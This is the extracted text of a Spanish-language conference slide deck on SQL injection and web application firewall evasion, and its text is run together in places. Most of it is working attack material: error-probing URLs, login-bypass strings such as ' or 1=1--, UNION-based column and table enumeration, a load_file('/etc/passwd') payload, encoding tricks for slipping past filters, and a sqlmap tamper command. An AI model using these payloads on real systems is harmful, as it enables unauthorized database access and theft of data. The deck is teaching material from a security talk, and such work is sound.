Intrucion a bases de datos

Preview:

DESCRIPTION

Diapositivas de la conferencia de inyecciones sql y evacion de Web Application Firewall

Citation preview

SQL Injection Intrusión a Bases de datos

Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU

Temas que trataremos.Identificación de la

vulnerabilidad

Detección de errores

Estructura de una inyección SQL

Bypass Loggin

Obtención de Datos

Evasión de Firewall

Sql Injection SQLI

Es una vulnerabilidad catalogada de alto riesgo, por su gran capacidad de interactuar firmemente con la base de datos del servidor vulnerable, Actual mente el 80 % de las aplicaciones en internet son vulnerables SQLI

Esta se debe a un pésimo filtrado de las variables de entrada a la base de datos de una aplicación, esta vulnerabilidad se explotara al momento de insertar código SQL arbitrariamente en los campos mal filtrados.

Lo que NO se debe de hacer al desarrollar

El usuario y el password pasan sin ningún filtro directamente a la consulta de la base de datos.

$usuario= $_POST[‘nombre’];$password=$_POST[‘pass’];$sql= “SELECT * FROM usuarios WHERE usuario=‘$usuario’ AND password=‘$password’”;

SQLILa comilla MAGICA.

El uso de las comillas simples antes de realizar una inyección son totalmente importantes pues nos ayudan a identificar si el sistema es vulnerable o no, ya que al insertarla en un parámetro la respuesta por parte del servidor será un error de sintaxis SQL.

Los strings en sql son delimitados por comillas simples (‘)

SQLILa comilla MAGICA.

SQLILa comilla MAGICA.

http://www.victima.com/seguridad/consultas.php?id=989%27

?id=989 --------------- parámetro vulnerable%27 -------------------- comilla simple en Hexadecimal

SQLIDetección de errores

http://www.victima.com/consultas.php?id=9’

http://www.victima.com/consultas.php?id=9’’)’’

http://www.victima.com/consultas.php?id=9*/*

http://www.victima.com/consultas.php?id=9/*

http://www.victima.com/consultas.php?id=9--

http://www.victima.com/consultas.php?id=9’’--

http://www.victima.com/consultas.php?id=9’’

http://www.victima.com/consultas.php?id=9#

‘‘’)’’*/*/*--‘’- -’’#

Bypass Loggin

Bypass LogginSentencia “OR”

Para pasarnos un loggin Se utiliza la sentencia OR ya que esta significa que si algo es verdadero entonces todo será verdadero OR 1=1 . Esto provocará que automáticamente toda la consulta sea verdadera, sea cual sea el usuario.

1.- V or V = VERDADERO-------------------- ‘’OR 1=1 /* ‘2.- V or F = VERDADERO-------------------- “OR 1=0 /* ‘3.- F or V = VERDADERO-------------------- “OR 0=1 /* ‘4.- F or F = FALSO----------------------------- “OR 0=0 /* ’

Bypass LogginSentencia “OR”

admin’ - - admin’ # admin ‘ /* ‘ or 1=1- - ‘ or 1=1# ‘ or 1=0/* ‘) or 1=0 ‘1’=‘1- - ‘) or 1=1 (‘1’=‘1 - - ‘) */ 1=0 #

SQLIObtención de columns

Index.php?id=18+union+all+select+,1,2,3,4,5,6,7—

Ocurrió un error al intentar consultar la BD

Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—

Ocurrió un error al intentar consultar la BDThe used SELECT statements have a different number of columns

SQLIOtra forma

Victima.php?id=-1 ORDER BY 1/*Victima.php?id=-1 ORDER BY 2/*Victima.php?id=-1 ORDER BY 3/*Victima.php?id=-1 ORDER BY 4/*Victima.php?id=-1 ORDER BY 5/*Victima.php?id=-1 ORDER BY 6/*Victima.php?id=-1 ORDER BY 7/* ----------- Error

SQLIPrint de columnas

victima.php?id=-1+union+all+select+1,2,3,4,5--

SQLIload_file(‘/etc/passwd’)--

victima.php?id=-1+union+all+select+1,2,3,4,load_file('/etc/passwd')--

Y el antivirus CLAMAV ni sus luces

SQLIAlgunos comandos

version() versión de MySQLdatabase() nombre de la BDcurrent_user() usuario y host last_insert_id() ultimo valor de columna AUTO_INCREMENTconnection_id() ID de una conexión @@datadir directorio de la db

SQLIINFORMATION_SCHEMA

Y obtención de datos

Proporciona acceso a los metadatos de la base de datos. El diccionario de datos o catalogo del sistema.

INFORMATION_SCHEMA

INFORMATION_SCHEMA.SCHEMATA

SCHEMATA--------------------------------Información acerca de la DBTABLES-------------------------------------Proporciona información de las tablasCOLUMNS----------------------------------Información de columnasSTATISTICS--------------------------------Índices de tablasCOLUMN_PRIVILEGES-----------------Permisos de tablas

1+union+all+select+1,table_name,3,4,5+from+information_schema.tables

Obtención de tablas+limit+1,1--

ColumnasColum_name

Una vez obtenido el nombre de la tabla, se realiza la petición para ver su contenido.

Obtención de datos group_concat()

Se concatena el las variables obtenidas anteriormente, separadas por 0x3a para apreciar mejor el resultado.

Obtención de información

OBJETIVOMostrar el ataque de inyección SQL y el dumpeo de la BD. en un ambiente controlado.

Video de una inyección SQL

¿ Como funciona el IDS e IPS ?

Evasión de IDS

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Video de una evasión realizada a mano

OBJETIVOMostrar la evasión de phpids

¿ Programas?

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char encodeURL Encode

3-------------------------- %334-------------------------- %345-------------------------- %356-------------------------- %36A --------------------------%41B --------------------------%42 C --------------------------%43

Útil para evadir detección de palabras

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char-doble encode

Cifra en Hexadecimal, útil cuando la aplicación emplea Url encode

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char-unicode encode

Cifrando con el estándar Unicode

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Space 2 more hash

remplaza los espacios en la petición por %23randomText%0A, y después es cifrado con URL encode

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Space 2 mssql blank

Cifra con un random de caracteres en los espacios.

OBJETIVOMostrar la evasión de un WAF , mediante inyección a mano.

Prueba de concepto

¿ Con que comando?

./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper "space2morehash.py“--dbms

Llegando a una conclusion

El resultado.

Base de datos

Gracias !!!

Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU

@NosferatuHacknosferatuhack.blogspot.mx

¿Dudas?

¿Dudas?

Recommended